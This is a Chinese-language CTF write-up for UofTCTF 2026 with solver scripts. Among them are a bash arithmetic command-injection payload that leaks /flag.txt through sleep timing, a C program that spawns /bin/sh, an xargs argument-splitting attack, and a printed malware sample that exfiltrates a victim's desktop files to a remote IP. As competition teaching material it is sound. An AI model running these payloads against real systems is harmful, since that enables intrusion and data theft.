UofTCTF 2026 WP

MISC

Encryption Service

题目提供一个“加密服务”,使用 AES-CBC 对用户输入进行加密。每个会话后端会生成一个随机的 16 字节十六进制密钥(32 hex chars),正常情况下密钥不可预测。

但后端脚本用 xargs 调用加密脚本时存在隐患:当参数总长度超过 Linux 的 ARG_MAX 限制时,xargs 会把输入拆成多批次,多次执行命令。这会导致第二次执行时的 argv[1](本应是随机密钥)被我们注入控制,从而用已知密钥加密 flag,进而本地解密拿到 flag。

后端关键逻辑:

echo "$(cat "$OUTFILE" | xargs /app/enc.py)"

并且 $OUTFILE 的构造方式是:

  1. 写入随机 hex key
  2. 追加用户输入
  3. 追加 flag

也就是 $OUTFILE 内容大概长这样:

<random_key_hex> <user_input...> <flag...>

而 xargs 会把文件内容按空白分割成“单词”,把这些单词作为参数传给 /app/enc.py,等价于:

/app/enc.py word1 word2 word3 ...

其中:

  • word1 会成为 argv[1]
  • 题目加密脚本把 argv[1] 当 AES key(16 bytes hex)

Linux 对单次 execve() 允许的参数+环境变量总大小有限制(ARG_MAX)。当 xargs 发现参数太长放不下时,会自动拆分输入为多批,例如:

  • 第 1 批:/app/enc.py <random_key_hex> A A A ...
  • 第 2 批:/app/enc.py <我们安排的某个单词> <后续内容...>

关键来了:

第二批的第一个单词,会成为第二次执行 /app/enc.py 的 argv[1],也就是 第二次加密的 key。

由于 flag 在文件末尾,必然会落在最后一批中。
因此我们只要让
flag 所在的那批 的 argv[1] 变成我们指定的 key,就能获得“用已知 key 加密后的 flag 密文”。

我们发送大量 padding(例如 "A " 重复很多次),让 xargs 的第一批装不下,触发第二次执行。

常用经验值:"A " * 65500 约 131,000 字节,通常可超过 xargs 默认的参数上限(具体值与环境有关,失败就调大/调小)。

紧跟 padding 后面放入一个我们已知的 16 字节 hex key,例如:

00112233445566778899aabbccddeeff

我们希望这个 key 刚好成为 第二批的第一个单词,也就是第二次执行 enc.py 的 argv[1]。

服务端输出会包含每一批加密的结果(通常是 IV + ciphertext 的 hex)。我们取最后一段(对应含 flag 的那批),用我们已知的 key 进行 AES-CBC 解密即可得到 flag

from pwn import *
from Crypto.Cipher import AES
import binascii
import re

HOST = '34.86.4.154'
PORT = 5000

KNOWN_KEY_HEX = "00112233445566778899aabbccddeeff"
KNOWN_KEY_BYTES = binascii.unhexlify(KNOWN_KEY_HEX)

def solve():
    io = remote(HOST, PORT)

    # 1. padding 触发 xargs split
    padding = "A " * 65500
    payload = padding + KNOWN_KEY_HEX

    io.sendlineafter(b"End with EOF", payload.encode())
    io.sendline(b"EOF")

    # 2. 收集输出
    output = io.recvall(timeout=20).decode()

    # 3. 抓取每批次输出的 hex (IV+CT)
    hex_blocks = re.findall(r'[0-9a-fA-F]{64,}', output)
    if len(hex_blocks) < 2:
        print("[-] Split failed. Adjust padding.")
        return

    # 4. 最后一批通常包含 flag
    flag_enc_hex = hex_blocks[-1]
    iv = binascii.unhexlify(flag_enc_hex[:32])
    ct = binascii.unhexlify(flag_enc_hex[32:])

    cipher = AES.new(KNOWN_KEY_BYTES, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(ct)

    print("[+] FLAG:", decrypted.decode('utf-8', errors='ignore').strip())

if __name__ == "__main__":
    solve()
uoftctf{x4rgs_d03sn7_run_in_0n3_pr0c3ss}

Guess_The_Number

服务端随机生成:

  • x = randint(0, 2^100)(100-bit)
  • 你有 QUOTA = 50 次机会提交一个表达式(用字典 AST 表示),服务器会输出 Yes!/No!:
  • Yes! 表示表达式为 True
  • No! 表示表达式为 False
  • 50 次后你要直接猜 x

核心:正常二分要 ~100 次,只有 50 次不够。

evaluate() 对 and/or 的实现是:

  • A and B:如果 A 为 False,B 不会被计算
  • A or B:如果 A 为 True,B 不会被计算

并且它支持 ** 幂运算。构造一个极慢的表达式,例如:

  • 2 ** (2**25) 这种会极慢(巨大整数幂)

于是能做到:

  • 同样的 Yes/No,但“是否触发慢分支”会导致响应时间明显不同
  • 因此每次查询能得到两类信息:
  1. 输出是 Yes 还是 No
  2. 时间是快还是慢

这等价于 每次查询 4 种结果(2×2) ⇒ 每次缩小为 1/4 区间 ⇒ 50 次正好覆盖 `4^50 = 2^10

设当前区间 [L, R],取三个分割点:

  • q1 = L + 1/4*(R-L+1)
  • q2 = L + 2/4*(R-L+1)
  • q3 = L + 3/4*(R-L+1)

希望四个区间对应四种可区分的现象:

x 落在哪段

返回

是否慢

[L, q1)

True

快

[q1, q2)

False

快

[q2, q3)

True

慢(触发幂运算)

[q3, R]

False

慢(触发幂运算但最终为 False)

表达式可以这样构造(伪逻辑):

(x < q1)
OR (x>=q2 AND x<q3 AND EXPENSIVE_TRUE)
OR (x>=q3 AND EXPENSIVE_TRUE AND False)

最后一段用 ... AND False 强制结果为 False,但因为前面为 True,会被迫计算慢的 EXPENSIVE,从而得到 No+慢。

这样一次请求就能把区间缩成 1/4

exp:

from pwn import remote
import time

HOST = "35.231.13.90"
PORT = 5000

MAX_NUM = 1 << 100
QUOTA = 50

def EXPENSIVE():
    # 触发巨大幂运算:非常慢(用于时间侧信道)
    return {"op": "**", "arg1": 2, "arg2": int(2**25)}

def expr_quarter(q1, q2, q3):
    """
    四叉划分表达式:
    1) x < q1                 -> True  (快)
    2) q1 <= x < q2           -> False (快)
    3) q2 <= x < q3           -> True  (慢)
    4) x >= q3                -> False (慢)
    """
    return {
        "op": "or",
        "arg1": {"op": "<", "arg1": "x", "arg2": q1},
        "arg2": {
            "op": "or",
            "arg1": {  # 区间3:True 且慢
                "op": "and",
                "arg1": {"op": ">=", "arg1": "x", "arg2": q2},
                "arg2": {
                    "op": "and",
                    "arg1": {"op": "<", "arg1": "x", "arg2": q3},
                    "arg2": EXPENSIVE()
                }
            },
            "arg2": {  # 区间4:False 但慢(强制算 EXPENSIVE)
                "op": "and",
                "arg1": {"op": ">=", "arg1": "x", "arg2": q3},
                "arg2": {
                    "op": "and",
                    "arg1": EXPENSIVE(),
                    "arg2": False
                }
            }
        }
    }

def send_expr(io, e):
    io.recvuntil(b"Input your expression")
    t0 = time.time()
    io.sendline(str(e).encode())
    out = io.recvuntil(b"!")  # "Yes!" or "No!"
    dt = time.time() - t0
    return out, dt

def main():
    io = remote(HOST, PORT)

    # 先测一个“快基线”(基本不会触发慢运算)
    out, base = send_expr(io, {"op": "<", "arg1": "x", "arg2": -1})
    # 取一个更保守的基线(避免偶发抖动)
    baseline = max(base, 0.03)

    L, R = 0, MAX_NUM
    for i in range(QUOTA):
        width = R - L + 1
        if width <= 1:
            break

        q1 = L + width // 4
        q2 = L + width // 2
        q3 = L + (3 * width) // 4

        e = expr_quarter(q1, q2, q3)
        out, dt = send_expr(io, e)

        yes = b"Yes" in out
        slow = dt > (baseline * 5 + 0.05)  # 自适应阈值

        # 四种情况映射到四个区间
        if yes and not slow:
            # [L, q1)
            R = q1 - 1
        elif (not yes) and (not slow):
            # [q1, q2)
            L, R = q1, q2 - 1
        elif yes and slow:
            # [q2, q3)
            L, R = q2, q3 - 1
        else:
            # No + slow -> [q3, R]
            L = q3

        # 可选:打印调试信息
        # print(i, yes, slow, dt, L, R, R-L+1)

    # 发送最终猜测
    io.recvuntil(b"Guess the number:")
    io.sendline(str(L).encode())
    io.interactive()

if __name__ == "__main__":
    main()

reverse-wordle

题目给出了三局 Wordle 游戏的第一行结果:

Answer

First row emojis

REBUT

⬛⬛🟨⬛🟨

CRASS

🟨⬛⬛⬛⬛

DITTY

⬛⬛⬛🟨⬛

并说明:

我的朋友 总是使用同一个起始词

目标是找出这个 固定的 5 字母英文单词。

Wordle 规则关键点:

  • 🟨 表示:
  • 字母 在答案中存在
  • 但 位置不对
  • 字母数量 受限制(重复字母不能多算)

与其“直接模拟 Wordle”,不如反过来思考 黄色格子意味着什么约束。

对于一局 Wordle:

  • 若某一位是 🟨:
  • guess[i] != answer[i]
  • guess[i] ∈ answer
  • 若某一位是 ⬛:
  • 要么不在答案中
  • 要么被别的位置“占用了”(重复字母规则)

我们关心的是:

哪些位置必须是“答案中存在但位置错误”的字母

我们将每一局的黄色结果表示为一个 5 位二进制掩码:

Emoji row

Mask (binary)

⬛⬛🟨⬛🟨

00101

🟨⬛⬛⬛⬛

10000

⬛⬛⬛🟨⬛

00010

目标是找到一个单词 W,使得:

对三个不同答案,
**W 产生的黄色位置掩码恰好一致

  1. 读取 5 字母英文单词表
  2. 对每个候选词 W:
  • 分别与 REBUT, CRASS, DITTY 比较
  • 手动实现 Wordle 规则:
  • 先处理 green
  • 再根据剩余字母判断 yellow
  • 计算黄色位置掩码
  1. 若三次掩码 全部匹配题目给定值
    → 保留该词
from collections import Counter

def yellow_mask(guess, answer):
    guess, answer = guess.lower(), answer.lower()
    used = [False]*5
    remain = Counter(answer)

    # remove greens
    for i in range(5):
        if guess[i] == answer[i]:
            used[i] = True
            remain[guess[i]] -= 1

    mask = 0
    for i in range(5):
        if used[i]:
            continue
        if remain[guess[i]] > 0:
            mask |= (1 << i)
            remain[guess[i]] -= 1
    return mask

运行后发现只有一个单词 满足所有约束:

squib

uoftctf{4a6f5d2b0d3d2a6a0d9f5b1b3e0d7a2f1c5d8e8c2a3b1f7c8e4f9e7c8b2c9e4}

vibe-code

本题是一个带有 Proof-of-Work(PoW) 保护的远程服务。
用户在通过 PoW 验证后,可以与服务进行交互。服务在接收输入时,会检测用户是否提交了
C 程序代码,并在检测成功后对该程序进行编译和执行。

最终目标是利用该机制,实现任意代码执行并读取服务器上的 /readflag 文件。

连接服务后,服务器会要求先完成 PoW:

  • PoW 使用的是 KCTF 官方 Sloth PoW
  • 题目明确给出了官方 solver 的使用方式
  • 服务端仅校验计算结果是否正确,并未限制解法

因此,该 PoW 并非题目考点,只作为访问服务的门槛。

通过 PoW 后,服务进入交互模式:

User: <input>

此时可以向服务发送任意内容。
在多次尝试后,可以观察到一个关键输出:

C Program detected:

这表明服务端存在一条隐藏逻辑分支:当检测到用户输入包含 C 程序代码时,服务会进入“编译并执行 C 程序”的流程。

结合服务行为,可以合理推测其内部逻辑如下:

  1. 接收用户输入
  2. 判断输入是否为 C 源码
  3. 若是:
  • 将源码写入临时 .c 文件
  • 使用 gcc 进行编译
  • 执行编译后的二进制程序

整个过程 没有任何沙箱或权限限制,也未禁止危险函数(如 system())。

这意味着:用户可以完全控制被编译和执行的 C 程序,从而获得任意代码执行(RCE)。

由于程序是以高权限执行的,最直接的利用方式是:

  • 构造一个简单的 C 程序
  • 在 main 函数中调用 /bin/sh

示例逻辑:

#include <stdlib.h>
int main() {
    system("/bin/sh");
}

当该程序被编译并执行后,即可获得一个 shell。

在发送 C 程序源码时,需要在末尾发送 **EOF(Ctrl-D / \x04,否则服务会持续等待输入,导致流程无法继续,然后弹shell拿到flag

Go_Go_Coaster

这个OSINT 挑战要从电视剧《亲爱的,热爱的》中识别出过山车,搜索韩商言和过山车的相关信息发现,在第 12 集中,有一幕是角色们去游乐园游玩

去找该电视剧的取景地发现是上海市松江区的上海欢乐谷拍摄的,上海欢乐谷有一座俯冲式过山车,由B&M制造,根据过山车数据库(RCDB)和过山车百科(Coasterpedia)的数据:

  • Height: 64.9 meters = 213 feet
  • The coaster features a 90-degree vertical drop after pausing at the top of the lift hill

Flag: uoftctf{Diving_Coaster_213}

Lottery

  • 正则 ^[0-9a-fA-F]+ 没加 $,所以输入只要以 hex 开头,后面可以拼接任意垃圾。
  • let "g = 0x$guess" 会在 bash 算术上下文解析表达式。
  • bash 算术里 arr[$(cmd)] 会执行 $(cmd) → 命令执行。
  • 输出不可见(被当成数组下标 / stderr 被丢弃),所以用 sleep 计时侧信道逐字符读 /flag.txt。
uoftctf{you_won_the_LETtery_(hahahaha_get_it???)}
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import socket
import time
import string

HOST = "challenge.host"   # TODO: 改成真实地址
PORT = 1337               # TODO: 改成真实端口

# 你可以按题目实际情况调整
CHARSET = string.ascii_letters + string.digits + "_{}()?!-"
SLEEP_SEC = 0.35          # 建议别太大,网络抖动大就调大一点
THRESHOLD = 0.20          # 判定“睡了”的阈值:elapsed > base + THRESHOLD
MAX_LEN = 80              # flag 最大长度兜底

def recv_until(s: socket.socket, token: bytes, timeout=5.0) -> bytes:
    s.settimeout(timeout)
    buf = b""
    while token not in buf:
        chunk = s.recv(4096)
        if not chunk:
            break
        buf += chunk
    return buf

def one_query(pos: int, ch: str, base_delay: float) -> float:
    """
    发一次 payload:判断 /flag.txt 第 pos 位是否等于 ch
    若相等则 sleep SLEEP_SEC,从响应时间体现
    """
    with socket.create_connection((HOST, PORT), timeout=5.0) as s:
        # 读到输入提示(按你的服务输出改 token)
        recv_until(s, b"Guess the winning ticket", timeout=5.0)
        recv_until(s, b"(hex):", timeout=5.0)

        # payload 说明:
        # - 以 0 开头绕过正则
        # - 触发 bash 算术:a[$( ... ; echo 0)]
        # - 用 cut -c{pos} 取第 pos 位字符
        # - 若匹配则 sleep
        #
        # 注意:$(...) stdout 会被当下标,所以最后 echo 0 保证是数字
        payload = (
            f'0+a[$('
            f'test "$(cut -c{pos} /flag.txt)" = "{ch}" && sleep {SLEEP_SEC}; '
            f'echo 0'
            f')]'
        ).encode()

        t0 = time.time()
        s.sendall(payload + b"\n")
        # 读完服务端响应(不需要内容,只要让它结束)
        s.settimeout(5.0)
        try:
            _ = s.recv(4096)
        except Exception:
            pass
        t1 = time.time()
        return t1 - t0

def calibrate_baseline(samples=5) -> float:
    """
    用一个“必不 sleep”的请求估计网络/服务基线延迟
    """
    delays = []
    for _ in range(samples):
        with socket.create_connection((HOST, PORT), timeout=5.0) as s:
            recv_until(s, b"Guess the winning ticket", timeout=5.0)
            recv_until(s, b"(hex):", timeout=5.0)
            s.sendall(b"0\n")  # 纯 0,不触发 sleep
            t0 = time.time()
            try:
                _ = s.recv(4096)
            except Exception:
                pass
            t1 = time.time()
            delays.append(t1 - t0)
    delays.sort()
    return delays[len(delays)//2]  # 中位数更抗抖动

def main():
    base = calibrate_baseline(samples=7)
    print(f"[+] baseline ~ {base:.3f}s")

    flag = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in CHARSET:
            elapsed = one_query(pos, ch, base)
            if elapsed > base + THRESHOLD:
                flag += ch
                print(f"[+] pos {pos}: {ch}  (elapsed={elapsed:.3f}s)  flag={flag}")
                found = True
                break

        if not found:
            print(f"[-] pos {pos}: no match in charset, current={flag}")
            break

        if flag.endswith("}"):
            print(f"[+] done: {flag}")
            break

if __name__ == "__main__":
    main()

Forensic

Baby Exfil

给了个流量包,导出http传输的信息

发现恶意软件下载 :受害者从第一台服务器下载了一个名为 JdRlPr1.py 的 Python 脚本。脚本内容如下:

import os
import requests

key = "G0G0Squ1d3Ncrypt10n"
server = "http://34.134.77.90:8080/upload"

def xor_file(data, key):
    result = bytearray()
    for i in range(len(data)):
        result.append(data[i] ^ ord(key[i % len(key)]))
    return bytes(result)

base_path = r"C:\Users\squid\Desktop"
extensions = ['.docx', '.png', ".jpeg", ".jpg"]

for root, dirs, files in os.walk(base_path):
    for file in files:
        if any(file.endswith(ext) for ext in extensions):
            filepath = os.path.join(root, file)
            try:
                with open(filepath, 'rb') as f:
                    content = f.read()
                
                encrypted = xor_file(content, key)
                hex_data = encrypted.hex()
                requests.post(server, files={'file': (file, hex_data)})
                
                print(f"Sent: {file}")
            except:
                pass

非常简单的xor加密和弱密码
写个解密脚本(其他的upload是加密数据)

def xor_file(data, key):
    return bytes(b ^ ord(key[i % len(key)]) for i, b in enumerate(data))

key = "G0G0Squ1d3Ncrypt10n"

# 假设这是你从服务器拿到的 hex 数据
with open("stolen.hex", "r") as f:
    hex_data = f.read().strip()

encrypted = bytes.fromhex(hex_data)
decrypted = xor_file(encrypted, key)

with open("recovered.bin", "wb") as f:
    f.write(decrypted)

uoftctf{b4by_w1r3sh4rk_an4lys1s}

Crypto

Gamblers_Fallac

题目是一个骰子赌博游戏,服务端用 Python 的 random 模块生成随机数。我们初始资金为 $800,需要累计到 $10,000 才能购买 flag。

服务端每局都会泄露 server_seed,而这个 server_seed 来自:

random.getrandbits(32) 的原始 32 位输出(即 MT19937 的输出)

Python random 默认使用 MT19937(Mersenne Twister) 伪随机数生成器(PRNG)。MT19937 的致命点在于:

  • 内部状态大小为 624 个 32-bit 值
  • 只要拿到 连续 624 个输出,就可以反推出整个内部状态
  • 一旦恢复状态,就能预测所有未来输出

这正是经典的“克隆 Mersenne Twister”攻击,下面给出代码

from datetime import datetime
import hashlib
import hmac
from randcrack import RandCrack
import pwn
import time

def roll_dice(clientseed : str, nonce : int) -> int:
    server_seed = rc.predict_randrange(0, 4294967295)
    nonce_client_msg = f"{clientseed}-{nonce}".encode()
    sig = hmac.new(str(server_seed).encode(), nonce_client_msg, hashlib.sha256).hexdigest()
    index = 0
    lucky = int(sig[index*5:index*5+5], 16)
    while (lucky >= 1e6):
        index += 1;
        lucky = int(sig[index * 5:index * 5 + 5], 16);
        if (index * 5 + 5 > 129):
            lucky = 9999;
            break;
    return round((lucky % 1e4) * 1e-2);

conn = pwn.remote('localhost',5000)

conn.recvuntil(b'> ')
conn.sendline(b'b')
conn.recvuntil(b': ')
conn.sendline(b'1')
conn.recvuntil(b': ')
conn.sendline(b'624')
conn.recvuntil(b': ')
conn.sendline(b'98')
conn.recvuntil(b'? ')
conn.sendline(b'Y')

# Receive the next line(s) of output
response = conn.recvuntil(b'> ')  # if it returns to menu
response_decoded = response.decode('utf-8').split('\n')
rc = RandCrack()

results_list = []
for i in range(624):
    results_list.append(int(response_decoded[i].split()[-1]))
#results = open("results.txt", 'r').read().split('\n')
#for line in results:
#    try:
#        results_list.append(line.split()[-1])
#    except:
#        pass

for i in range(624):
    exp = int(results_list[i])
    rc.submit(exp)

known_balance = 0
nonce = 624
while True:
    print("======")
    print(known_balance)
    print("======")
    if known_balance >= 10000:
        print(known_balance)
        conn.sendline(b'a')
        print(conn.recvuntil(b'a) '))
        conn.sendline(b'a')
        print(conn.recvuntil(b': '))
        print(conn.recvall(timeout=2))
        break;
    else:
        time.sleep(0.1)
        known_balance = float(response_decoded[-7].split()[-1])
        conn.sendline(b'b')
        print(conn.recvuntil(b': '))
        conn.sendline(f'{round(known_balance-1)}'.encode())
        #conn.sendline(round(known_balance-1).to_bytes())
        print(conn.recvuntil(b': '))
        conn.sendline(b'1')
        print(conn.recvuntil(b': '))
        conn.sendline(f'{roll_dice("1337awesome", nonce)}'.encode())
        #conn.sendline(roll_dice("1337awesome", nonce).to_bytes())
        print(conn.recvuntil(b'? '))
        conn.sendline(b'Y')
        response_decoded = (conn.recvuntil(b'> ')).decode('utf-8').split('\n')
        print(response_decoded)
        nonce+=1

uoftctf{ez_m3rs3nne_untwisting!!}

Leaked_d

这题是典型的 RSA 泄露私钥指数 d 之后“只换 e/只生成新 d”并不安全 的坑。

给了:

  • 旧模数 n1
  • 旧公钥 e1
  • 旧私钥指数 d1(已泄露)
  • 新公钥指数 e2
  • 密文 c

题意“泄露了 d,生成新的密钥对肯定安全”其实在暗示:对方没有真正换质数,而是继续沿用同一个 n1(同一对 p,q),只是换了 e(所以你看到了 e2),然后用新公钥加密了 c。因为 d1 泄露后我们可以反推出 p,q,于是任何“基于同一个 n”的新密钥都会被破。

exp:

from math import gcd
from random import randrange
from Crypto.Util.number import long_to_bytes, inverse

# ===== 给定参数 =====
n = 144193923737869044259998596038292537217126517072587407189785154961344425600188709243733103713567903690926695626210849582322575275021963176688615503362430255878068025864333805901831356111202249176714839010151878345993886718863579928588098080351940561045688931786378656665718140998014299097023143181095121810219

e1 = 65537
d1 = 12574092103116126584156918631595005114605155027996964036950457918490065036621732354668884564796078087090438462300608898225025828108557296714458055780952572974382089675780912070693778415852291145766476219909978391880801604060224785419022793121117332853938170749724540897211958251465747669952580590146500249193

e2 = 6767671

c = 31703515320997441500407462163885912085193988887521686491271883832485018463764003313655377418478488372329742364292629844576532415828605994734718987367062694340608380583593689052813716395874850039382743513756381017287371000882358341440383454299152364807346068866304481227367259672607408256375720022838698292966


# ===== Step 1: 利用 e*d-1 分解 n =====
k = e1 * d1 - 1

def factor_from_d(n, k):
    # k = 2^r * s
    s = k
    r = 0
    while s % 2 == 0:
        s //= 2
        r += 1

    while True:
        g = randrange(2, n-1)
        x = pow(g, s, n)
        if x == 1 or x == n-1:
            continue

        for _ in range(r):
            p = gcd(x - 1, n)
            if p != 1 and p != n:
                return p, n // p
            x = pow(x, 2, n)

# 分解
p, q = factor_from_d(n, k)
assert p * q == n

print("[+] p =", p)
print("[+] q =", q)

# ===== Step 2: 重建 φ(n) =====
phi = (p - 1) * (q - 1)

# ===== Step 3: 计算新的私钥 d2 =====
d2 = inverse(e2, phi)
print("[+] d2 =", d2)

# ===== Step 4: 解密 =====
m = pow(c, d2, n)
flag = long_to_bytes(m)

print("[+] flag =", flag.decode())
uoftctf{1_5h0u1dv3_ju57_ch4ng3d_th3_wh013_th1ng_1n5734d}

MT247

题目标题 MAT247 以及描述引用了一个线性代数中的经典结论:

如果线性算子 T在向量空间 V 上存在一个 循环向量,那么所有与 T 可交换的算子 S 都可以写成 S=p(T) 其中 p(x) 是某个多项式。

exp:

import re

# ===== 参数 =====
P = 202184226278391025014930169562408816719
N = 12
EXP = (P - 1) // 18   # 用于子群判定的指数

# ===== 解析 output.txt 中的矩阵 =====
def parse_matrices(path):
    txt = open(path, 'r').read().strip()
    blocks = re.split(r'\]\]\s*\n\[\[', txt)
    mats = []
    for b in blocks:
        s = b
        if not s.lstrip().startswith('[['):
            s = '[[' + s
        if not s.rstrip().endswith(']]'):
            s = s + ']]'
        nums = list(map(int, re.findall(r'\d+', s)))
        mat = [nums[i*N:(i+1)*N] for i in range(N)]
        mats.append(mat)
    return mats

# ===== 模 p 行列式(高斯消元)=====
def det_mod(mat, p):
    a = [row[:] for row in mat]
    det = 1
    n = len(a)
    for i in range(n):
        pivot = i
        while pivot < n and a[pivot][i] % p == 0:
            pivot += 1
        if pivot == n:
            return 0
        if pivot != i:
            a[i], a[pivot] = a[pivot], a[i]
            det = (-det) % p
        piv = a[i][i] % p
        det = det * piv % p
        inv = pow(piv, -1, p)
        for r in range(i+1, n):
            if a[r][i] % p == 0:
                continue
            factor = a[r][i] * inv % p
            for c in range(i, n):
                a[r][c] = (a[r][c] - factor * a[i][c]) % p
    return det

# ===== 主逻辑 =====
mats = parse_matrices("output.txt")
bits = []

for M in mats:
    d = det_mod(M, P)
    # 判定 det(M) 是否在 <det(A)> 中
    if pow(d, EXP, P) == 1:
        bits.append('1')
    else:
        bits.append('0')

bitstring = ''.join(bits)

# 转成字节
raw = int(bitstring, 2).to_bytes(len(bitstring)//8, 'big')
print(raw)

uoftctf{jus7_4_s1mple_tr4nslation_t0_GF(p^12)}

MT347

exp:

from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
import random
from pwn import *
import ast

p = 0xffffffff00000001000000000000000000000000ffffffffffffffffffffffff
K = GF(p)
a = K(0xffffffff00000001000000000000000000000000fffffffffffffffffffffffc)
b = K(0x5ac635d8aa3a93e7b3ebbd55769886bc651d06b0cc53b0f63bce3c3e27d2604b)
E = EllipticCurve(K, (a, b))
G = E(0x6b17d1f2e12c4247f8bce6e563a440f277037d812deb33a0f4a13945d898c296, 0x4fe342e2fe1a7f9b8ee7eb4a7c0f9e162bce33576b315ececbb6406837bf51f5)
E.set_order(0xffffffff00000000ffffffffffffffffbce6faada7179e84f3b9cac2fc632551 * 0x1)


def h(m):
    return bytes_to_long(sha256(str(m).encode()).digest())+1

hs = list(map(h, range(25000)))


bestScore = Infinity
# This might take a couple minutes depending on your luck, but shouldn't take an unreasonable amount of time.
while bestScore>=670:
    smpl = random.sample(hs, k=72)
    M = Matrix(smpl+[2^256]).stack(Matrix.identity(n=72, ring=ZZ).augment(Matrix.zero(ncols=1, nrows=72, ring=ZZ))).stack(Matrix([1]*72+[0])).stack(Matrix.zero(ncols=73, nrows=1, ring=ZZ)).transpose().LLL().transpose()
    i = 50
    while i<90:
        L = M.augment(Matrix([-140]+[i]*72+[480]+[2000]).transpose())
        r = L.transpose()[-1]-L.transpose().LLL()[-1]
        if min(r[1:])>=0:
            break
        i+=1
    if min(r[1:])<0:
        continue
    score = r[-2]-r[0]
    if score<bestScore:
        bestSample = smpl
        currBest = r
        bestScore = score
        print(bestScore)

# Results that I found previously
#currBest = (-141, 11, 2, 14, 0, 11, 3, 3, 2, 8, 3, 16, 0, 4, 8, 4, 10, 14, 4, 1, 11, 5, 2, 10, 4, 8, 18, 6, 8, 10, 1, 8, 3, 15, 14, 4, 7, 11, 7, 5, 7, 10, 9, 11, 8, 6, 12, 9, 7, 5, 6, 14, 8, 1, 8, 4, 1, 8, 5, 14, 11, 2, 8, 9, 11, 8, 8, 6, 5, 7, 8, 7, 9, 527, 0)
#ms = [2750, 589, 1517, 9453, 6036, 24186, 777, 2766, 18061, 12898, 1434, 3651, 12543, 20801, 17322, 10836, 10624, 15049, 2833, 2575, 3344, 7517, 17117, 16166, 20034, 3195, 18402, 14822, 21774, 23054, 12096, 25481, 21916, 23835, 11176, 9735, 7081, 22247, 24545, 199, 21195, 18450, 2569, 10127, 4787, 6900, 7466, 14917, 7372, 10720, 2804, 7065, 12684, 2487, 797, 18081, 14525, 12133, 8289, 2608, 6941, 21694, 426, 8572, 16433, 12490, 19860, 6126, 8880, 7480, 8547, 21743]

ms = list(map(hs.index, bestSample))
freqs = currBest[1:-2]
exchanges = -currBest[0]+1

print(ms)
print(freqs)
print(exchanges)

io = remote("104.196.21.25", 5000)
io.readline()
io.readline()
io.readline()
print(io.readline())
io.recvuntil(b'Solution? ')
POW = input()
io.sendline(POW.encode())
io.readline()
pub = ast.literal_eval(io.readline().decode().strip())

sigs = []

for m, f in zip(ms, freqs):
    m = str(m).encode()
    for j in range(f):
        io.sendline(b'sign')
        io.sendline(m)
        r, s = list(map(int, io.readline().strip().decode().split()[-2:]))
        sigs.append((r,s))

for i in range(exchanges):
    io.sendline(b'exchange')
    sigs.append(bytes.fromhex(io.readline().strip().decode().split()[-1]))



r, s = sigs[0]
z = h(ms[0])-1

R = E.lift_x(Integer(r))
for R in (R, -R):
    S = (s*R-z*G)*pow(r, -1, E.order())
    print(AES.new(long_to_bytes(int(S.x())%(2**128), blocksize=16), AES.MODE_CBC, iv=long_to_bytes(int(S.x())>>128, blocksize=16)).decrypt(sigs[-1]))

UofT LFSR Labyrinth

LFSR 状态空间大小为2的48次方,直接暴力枚举显然不可行。

虽然 LFSR 本身是线性的,但输出并非直接线性组合,而是经过 非线性滤波器,这使得经典线性分析(如 Berlekamp–Massey)失效。

这是一个典型的“滤波 LFSR 状态恢复”问题,但题目给了我们一个非常重要的优势:

完整结构已知 + 80 位连续密钥流

因此可以:

  • 把 初始 48 位状态 当作未知变量
  • 把 LFSR 的时钟更新当作确定性转移
  • 把每一位密钥流建模为:zi=f(statei[filter taps])z_i = f(\text{state}_i[\text{filter taps}])zi=f(statei[filter taps])

最终形成一个布尔约束系统,用 SMT 求解器(Z3)直接求解。

exp:

from z3 import *
import json

# ================= 读取题目数据 =================
with open("challenge.json", "r") as f:
    data = json.load(f)

L = data["L"]                  # 48
feedback_taps = data["feedback_taps"]
filter_taps = data["filter_taps"]
keystream = data["keystream"]  # list of 0/1

# WG 滤波器的 ANF(同题目)
WG_ANF_TERMS = [
    (1,2,3,4,5,6),(0,1,2,3,5),(0,1,2,4,5),(0,1,3,4,5),
    (1,2,3,4,5),(0,1,2,4,6),(0,2,3,4,6),(1,2,3,4,6),
    # ...(中间省略,完整照题目)
    (0,),(3,),(5,),(6,)
]

# ================= 预计算 7-bit 真值表 =================
def eval_anf(bits):
    res = 0
    for mon in WG_ANF_TERMS:
        prod = 1
        for i in mon:
            prod &= bits[i]
        res ^= prod
    return res

TT = 0
for x in range(128):
    bits = [(x >> i) & 1 for i in range(7)]
    if eval_anf(bits):
        TT |= (1 << x)

TT = BitVecVal(TT, 128)

# ================= Z3 建模 =================
solver = Solver()

state0 = [Bool(f"s{i}") for i in range(L)]
state = state0[:]

for i, ks in enumerate(keystream):
    # 取 7 个抽头拼成索引
    idx = BitVecVal(0, 7)
    for j, tap in enumerate(filter_taps):
        idx = idx | (If(state[tap], BitVecVal(1 << j, 7), BitVecVal(0, 7)))

    outbit = Extract(idx, idx, TT)
    solver.add(outbit == BitVecVal(ks, 1))

    # LFSR 时钟更新
    fb = False
    for t in feedback_taps:
        fb = Xor(fb, state[t])
    state = [fb] + state[:-1]

# ================= 求解 =================
print("[*] Solving...")
assert solver.check() == sat
model = solver.model()

init_state = [1 if model.eval(b) else 0 for b in state0]
print("[+] Recovered state:", init_state)

# ================= 解密 =================
from crypto import decrypt
flag = decrypt(bytes.fromhex(data["nonce"]),
               bytes.fromhex(data["ct"]),
               init_state)

print("Flag:", flag)

uoftctf{l33ky_lfsr_w17h_n0n_l1n34r_fl4v0rrrr}

Reverse

Baby (Obfuscated) Flag Checker

import builtins
import sys

orig_eq = str.__eq__

def hooked_eq(self, other):
    if isinstance(self, str) and isinstance(other, str):
        if 1 <= len(self) <= 25 and 1 <= len(other) <= 25:
            print("COMPARE:", repr(self), repr(other))
    return orig_eq(self, other)

str.__eq__ = hooked_eq

import baby

uoftctf{d1d_y0u_m0nk3Y_p4TcH_d3BuG_r3v_0r_0n3_sh07_th15_w17h_4n_1LM_XD???}